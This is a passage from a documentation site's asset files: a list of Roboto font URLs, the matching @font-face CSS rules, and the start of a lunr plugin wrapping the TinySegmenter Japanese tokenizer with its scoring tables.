    ================================================ FILE: docs/assets/css/filelist.txt ================================================ https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2 https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xIIzI.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBBc4.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu72xKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu5mxKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7mxKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4WxKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7WxKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7GxKOzY.woff2 https://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxK.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2 https://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc4.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2 https://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2 ================================================ FILE: docs/assets/css/fonts.css ================================================ /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: italic; font-weight: 400; font-display: fallback; src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xIIzI.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: fallback; src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: fallback; src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto Mono'; font-style: normal; font-weight: 400; font-display: fallback; src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } ================================================ FILE: docs/assets/javascripts/lunr/tinyseg.js ================================================ /** * export the module via AMD, CommonJS or as a browser global * Export code from https://github.com/umdjs/umd/blob/master/returnExports.js */ ;(function (root, factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(factory) } else if (typeof exports === 'object') { /** * Node. Does not work with strict CommonJS, but * only CommonJS-like environments that support module.exports, * like Node. */ module.exports = factory() } else { // Browser globals (root is window) factory()(root.lunr); } }(this, function () { /** * Just return a value to define the module export. * This example returns an object, but the module * can return a function as the exported value. */ return function(lunr) { // TinySegmenter 0.1 -- Super compact Japanese tokenizer in Javascript // (c) 2008 Taku Kudo // TinySegmenter is freely distributable under the terms of a new BSD licence. // For details, see http://chasen.org/~taku/software/TinySegmenter/LICENCE.txt function TinySegmenter() { var patterns = { "[一二三四五六七八九十百千万億兆]":"M", "[一-龠々〆ヵヶ]":"H", "[ぁ-ん]":"I", "[ァ-ヴーア-ン゙ー]":"K", "[a-zA-Za-zA-Z]":"A", "[0-90-9]":"N" } this.chartype_ = []; for (var i in patterns) { var regexp = new RegExp(i); this.chartype_.push([regexp, patterns[i]]); } this.BIAS__ = -332 this.BC1__ = {"HH":6,"II":2461,"KH":406,"OH":-1378}; this.BC2__ = {"AA":-3267,"AI":2744,"AN":-878,"HH":-4070,"HM":-1711,"HN":4012,"HO":3761,"IA":1327,"IH":-1184,"II":-1332,"IK":1721,"IO":5492,"KI":3831,"KK":-8741,"MH":-3132,"MK":3334,"OO":-2920}; this.BC3__ = {"HH":996,"HI":626,"HK":-721,"HN":-1307,"HO":-836,"IH":-301,"KK":2762,"MK":1079,"MM":4034,"OA":-1652,"OH":266}; this.BP1__ = {"BB":295,"OB":304,"OO":-125,"UB":352}; this.BP2__ = {"BO":60,"OO":-1762}; this.BQ1__ = {"BHH":1150,"BHM":1521,"BII":-1158,"BIM":886,"BMH":1208,"BNH":449,"BOH":-91,"BOO":-2597,"OHI":451,"OIH":-296,"OKA":1851,"OKH":-1020,"OKK":904,"OOO":2965}; this.BQ2__ = {"BHH":118,"BHI":-1159,"BHM":466,"BIH":-919,"BKK":-1720,"BKO":864,"OHH":-1139,"OHM":-181,"OIH":153,"UHI":-1146}; this.BQ3__ = {"BHH":-792,"BHI":2664,"BII":-299,"BKI":419,"BMH":937,"BMM":8335,"BNN":998,"BOH":775,"OHH":2174,"OHM":439,"OII":280,"OKH":1798,"OKI":-793,"OKO":-2242,"OMH":-2402,"OOO":11699}; this.BQ4__ = {"BHH":-3895,"BIH":3761,"BII":-4654,"BIK":1348,"BKK":-1806,"BMI":-3385,"BOO":-12396,"OAH":926,"OHH":266,"OHK":-2036,"ONN":-973}; this.BW1__ = {",と":660,",同":727,"B1あ":1404,"B1同":542,"、と":660,"、同":727,"」と":1682,"あっ":1505,"いう":1743,"いっ":-2055,"いる":672,"うし":-4817,"うん":665,"から":3472,"がら":600,"こう":-790,"こと":2083,"こん":-1262,"さら":-4143,"さん":4573,"した":2641,"して":1104,"すで":-3399,"そこ":1977,"それ":-871,"たち":1122,"ため":601,"った":3463,"つい":-802,"てい":805,"てき":1249,"でき":1127,"です":3445,"では":844,"とい":-4915,"とみ":1922,"どこ":3887,"ない":5713,"なっ":3015,"など":7379,"なん":-1113,"にし":2468,"には":1498,"にも":1671,"に対":-912,"の一":-501,"の中":741,"ませ":2448,"まで":1711,"まま":2600,"まる":-2155,"やむ":-1947,"よっ":-2565,"れた":2369,"れで":-913,"をし":1860,"を見":731,"亡く":-1886,"京都":2558,"取り":-2784,"大き":-2604,"大阪":1497,"平方":-2314,"引き":-1336,"日本":-195,"本当":-2423,"毎日":-2113,"目指":-724,"B1あ":1404,"B1同":542,"」と":1682}; this.BW2__ = {"..":-11822,"11":-669,"――":-5730,"−−":-13175,"いう":-1609,"うか":2490,"かし":-1350,"かも":-602,"から":-7194,"かれ":4612,"がい":853,"がら":-3198,"きた":1941,"くな":-1597,"こと":-8392,"この":-4193,"させ":4533,"され":13168,"さん":-3977,"しい":-1819,"しか":-545,"した":5078,"して":972,"しな":939,"その":-3744,"たい":-1253,"たた":-662,"ただ":-3857,"たち":-786,"たと":1224,"たは":-939,"った":4589,"って":1647,"っと":-2094,"てい":6144,"てき":3640,"てく":2551,"ては":-3110,"ても":-3065,"でい":2666,"でき":-1528,"でし":-3828,"です":-4761,"でも":-4203,"とい":1890,"とこ":-1746,"とと":-2279,"との":720,"とみ":5168,"とも":-3941,"ない":-2488,"なが":-1313,"など":-6509,"なの":2614,"なん":3099,"にお":-1615,"にし":2748,"にな":2454,"によ":-7236,"に対":-14943,"に従":-4688,"に関":-11388,"のか":2093,"ので":-7059,"のに":-6041,"のの":-6125,"はい":1073,"はが":-1033,"はず":-2532,"ばれ":1813,"まし":-1316,"まで":-6621,"まれ":5409,"めて":-3153,"もい":2230,"もの":-10713,"らか":-944,"らし":-1611,"らに":-1897,"りし":651,"りま":1620,"れた":4270,"れて":849,"れば":4114,"ろう":6067,"われ":7901,"を通":-11877,"んだ":728,"んな":-4115,"一人":602,"一方":-1375,"一日":970,"一部":-1051,"上が":-4479,"会社":-1116,"出て":2163,"分の":-7758,"同党":970,"同日":-913,"大阪":-2471,"委員":-1250,"少な":-1050,"年度":-8669,"年間":-1626,"府県":-2363,"手権":-1982,"新聞":-4066,"日新":-722,"日本":-7068,"日米":3372,"曜日":-601,"朝鮮":-2355,"本人":-2697,"東京":-1543,"然と":-1384,"社会":-1276,"立て":-990,"第に":-1612,"米国":-4268,"11":-669}; this.BW3__ = {"あた":-2194,"あり":719,"ある":3846,"い.":-1185,"い。":-1185,"いい":5308,"いえ":2079,"いく":3029,"いた":2056,"いっ":1883,"いる":5600,"いわ":1527,"うち":1117,"うと":4798,"えと":1454,"か.":2857,"か。":2857,"かけ":-743,"かっ":-4098,"かに":-669,"から":6520,"かり":-2670,"が,":1816,"が、":1816,"がき":-4855,"がけ":-1127,"がっ":-913,"がら":-4977,"がり":-2064,"きた":1645,"けど":1374,"こと":7397,"この":1542,"ころ":-2757,"さい":-714,"さを":976,"し,":1557,"し、":1557,"しい":-3714,"した":3562,"して":1449,"しな":2608,"しま":1200,"す.":-1310,"す。":-1310,"する":6521,"ず,":3426,"ず、":3426,"ずに":841,"そう":428,"た.":8875,"た。":8875,"たい":-594,"たの":812,"たり":-1183,"たる":-853,"だ.":4098,"だ。":4098,"だっ":1004,"った":-4748,"って":300,"てい":6240,"てお":855,"ても":302,"です":1437,"でに":-1482,"では":2295,"とう":-1387,"とし":2266,"との":541,"とも":-3543,"どう":4664,"ない":1796,"なく":-903,"など":2135,"に,":-1021,"に、":-1021,"にし":1771,"にな":1906,"には":2644,"の,":-724,"の、":-724,"の子":-1000,"は,":1337,"は、":1337,"べき":2181,"まし":1113,"ます":6943,"まっ":-1549,"まで":6154,"まれ":-793,"らし":1479,"られ":6820,"るる":3818,"れ,":854,"れ、":854,"れた":1850,"れて":1375,"れば":-3246,"れる":1091,"われ":-605,"んだ":606,"んで":798,"カ月":990,"会議":860,"入り":1232,"大会":2217,"始め":1681,"市":965,"新聞":-5055,"日,":974,"日、":974,"社会":2024,"カ月":990}; this.TC1__ = {"AAA":1093,"HHH":1029,"HHM":580,"HII":998,"HOH":-390,"HOM":-331,"IHI":1169,"IOH":-142,"IOI":-1015,"IOM":467,"MMH":187,"OOI":-1832}; this.TC2__ = {"HHO":2088,"HII":-1023,"HMM":-1154,"IHI":-1965,"KKH":703,"OII":-2649}; this.TC3__ = {"AAA":-294,"HHH":346,"HHI":-341,"HII":-1088,"HIK":731,"HOH":-1486,"IHH":128,"IHI":-3041,"IHO":-1935,"IIH":-825,"IIM":-1035,"IOI":-542,"KHH":-1216,"KKA":491,"KKH":-1217,"KOK":-1009,"MHH":-2694,"MHM":-457,"MHO":123,"MMH":-471,"NNH":-1689,"NNO":662,"OHO":-3393}; this.TC4__ = {"HHH":-203,"HHI":1344,"HHK":365,"HHM":-122,"HHN":182,"HHO":669,"HIH":804,"HII":679,"HOH":446,"IHH":695,"IHO":-2324,"IIH":321,"III":1497,"IIO":656,"IOO":54,"KAK":4845,"KKA":3386,"KKK":3065,"MHH":-405,"MHI":201,"MMH":-241,"MMM":661,"MOM":841}; this.TQ1__ = {"BHHH":-227,"BHHI":316,"BHIH":-132,"BIHH":60,"BIII":1595,"BNHH":-744,"BOHH":225,"BOOO":-908,"OAKK":482,"OHHH":281,"OHIH":249,"OIHI":200,"OIIH":-68}; this.TQ2__ = {"BIHH":-1401,"BIII":-1033,"BKAK":-543,"BOOO":-5591}; this.TQ3__ = {"BHHH":478,"BHHM":-1073,"BHIH":222,"BHII":-504,"BIIH":-116,"BIII":-105,"BMHI":-863,"BMHM":-464,"BOMH":620,"OHHH":346,"OHHI":1729,"OHII":997,"OHMH":481,"OIHH":623,"OIIH":1344,"OKAK":2792,"OKHH":587,"OKKA":679,"OOHH":110,"OOII":-685}; this.TQ4__ = {"BHHH":-721,"BHHM":-3604,"BHII":-966,"BIIH":-607,"BIII":-2181,"OAAA":-2763,"OAKK":180,"OHHH":-294,"OHHI":2446,"OHHO":480,"OHIH":-1573,"OIHH":1935,"OIHI":-493,"OIIH":626,"OIII":-4007,"OKAK":-8156}; this.TW1__ = {"につい":-4681,"東京都":2026}; this.TW2__ = {"ある程":-2049,"いった":-1256,"ころが":-2434,"しょう":3873,"その後":-4430,"だって":-1049,"ていた":1833,"として":-4657,"ともに":-4517,"もので":1882,"一気に":-792,"初めて":-1512,"同時に":-8097,"大きな":-1255,"対して":-2721,"社会党":-3216}; this.TW3__ = {"いただ":-1734,"してい":1314,"として":-4314,"につい":-5483,"にとっ":-5989,"に当た":-6247,"ので,":-727,"ので、":-727,"のもの":-600,"れから":-3752,"十二月":-2287}; this.TW4__ = {"いう.":8576,"いう。":8576,"からな":-2348,"してい":2958,"たが,":1516,"たが、":1516,"ている":1538,"という":1349,"ました":5543,"ません":1097,"ようと":-4258,"よると":5865}; this.UC1__ = {"A":484,"K":93,"M":645,"O":-505}; this.UC2__ = {"A":819,"H":1059,"I":409,"M":3987,"N":5775,"O":646}; this.UC3__ = {"A":-1370,"I":2311}; this.UC4__ = {"A":-2643,"H":1809,"I":-1032,"K":-3450,"M":3565,"N":3876,"O":6646}; this.UC5__ = {"H":313,"I":-1238,"K":-799,"M":539,"O":-831}; this.UC6__ = {"H":-506,"I":-253,"K":87,"M":247,"O":-387}; this.UP1__ = {"O":-214}; this.UP2__ = {"B":69,"O":935}; this.UP3__ = {"B":189}; this.UQ1__ = {"BH":21,"BI":-12,"BK":-99,"BN":142,"BO":-56,"OH":-95,"OI":477,"OK":410,"OO":-2422}; this.UQ2__ = {"BH":216,"BI":113,"OK":1759}; this.UQ3__ = {"BA":-479,"BH":42,"BI":1913,"BK":-7198,"BM":3160,"BN":6427,"BO":14761,"OI":-827,"ON":-3212}; this.UW1__ = {",":156,"、":156,"「":-463,"あ":-941,"う":-127,"が":-553,"き":121,"こ":505,"で":-201,"と":-547,"ど":-123,"に":-789,"の":-185,"は":-847,"も":-466,"や":-470,"よ":182,"ら":-292,"り":208,"れ":169,"を":-446,"ん":-137,"・":-135,"主":-402,"京":-268,"区":-912,"午":871,"国":-460,"大":561,"委":729,"市":-411,"日":-141,"理":361,"生":-408,"県":-386,"都":-718,"「":-463,"・":-135}; this.UW2__ = {",":-829,"、":-829,"〇":892,"「":-645,"」":3145,"あ":-538,"い":505,"う":134,"お":-502,"か":1454,"が":-856,"く":-412,"こ":1141,"さ":878,"ざ":540,"し":1529,"す":-675,"せ":300,"そ":-1011,"た":188,"だ":1837,"つ":-949,"て":-291,"で":-268,"と":-981,"ど":1273,"な":1063,"に":-1764,"の":130,"は":-409,"ひ":-1273,"べ":1261,"ま":600,"も":-1263,"や":-402,"よ":1639,"り":-579,"る":-694,"れ":571,"を":-2516,"ん":2095,"ア":-587,"カ":306,"キ":568,"ッ":831,"三":-758,"不":-2150,"世":-302,"中":-968,"主":-861,"事":492,"人":-123,"会":978,"保":362,"入":548,"初":-3025,"副":-1566,"北":-3414,"区":-422,"大":-1769,"天":-865,"太":-483,"子":-1519,"学":760,"実":1023,"小":-2009,"市":-813,"年":-1060,"強":1067,"手":-1519,"揺":-1033,"政":1522,"文":-1355,"新":-1682,"日":-1815,"明":-1462,"最":-630,"朝":-1843,"本":-1650,"東":-931,"果":-665,"次":-2378,"民":-180,"気":-1740,"理":752,"発":529,"目":-1584,"相":-242,"県":-1165,"立":-763,"第":810,"米":509,"自":-1353,"行":838,"西":-744,"見":-3874,"調":1010,"議":1198,"込":3041,"開":1758,"間":-1257,"「":-645,"」":3145,"ッ":831,"ア":-587,"カ":306,"キ":568}; this.UW3__ = {",":4889,"1":-800,"−":-1723,"、":4889,"々":-2311,"〇":5827,"」":2670,"〓":-3573,"あ":-2696,"い":1006,"う":2342,"え":1983,"お":-4864,"か":-1163,"が":3271,"く":1004,"け":388,"げ":401,"こ":-3552,"ご":-3116,"さ":-1058,"し":-395,"す":584,"せ":3685,"そ":-5228,"た":842,"ち":-521,"っ":-1444,"つ":-1081,"て":6167,"で":2318,"と":1691,"ど":-899,"な":-2788,"に":2745,"の":4056,"は":4555,"ひ":-2171,"ふ":-1798,"へ":1199,"ほ":-5516,"ま":-4384,"み":-120,"め":1205,"も":2323,"や":-788,"よ":-202,"ら":727,"り":649,"る":5905,"れ":2773,"わ":-1207,"を":6620,"ん":-518,"ア":551,"グ":1319,"ス":874,"ッ":-1350,"ト":521,"ム":1109,"ル":1591,"ロ":2201,"ン":278,"・":-3794,"一":-1619,"下":-1759,"世":-2087,"両":3815,"中":653,"主":-758,"予":-1193,"二":974,"人":2742,"今":792,"他":1889,"以":-1368,"低":811,"何":4265,"作":-361,"保":-2439,"元":4858,"党":3593,"全":1574,"公":-3030,"六":755,"共":-1880,"円":5807,"再":3095,"分":457,"初":2475,"別":1129,"前":2286,"副":4437,"力":365,"動":-949,"務":-1872,"化":1327,"北":-1038,"区":4646,"千":-2309,"午":-783,"協":-1006,"口":483,"右":1233,"各":3588,"合":-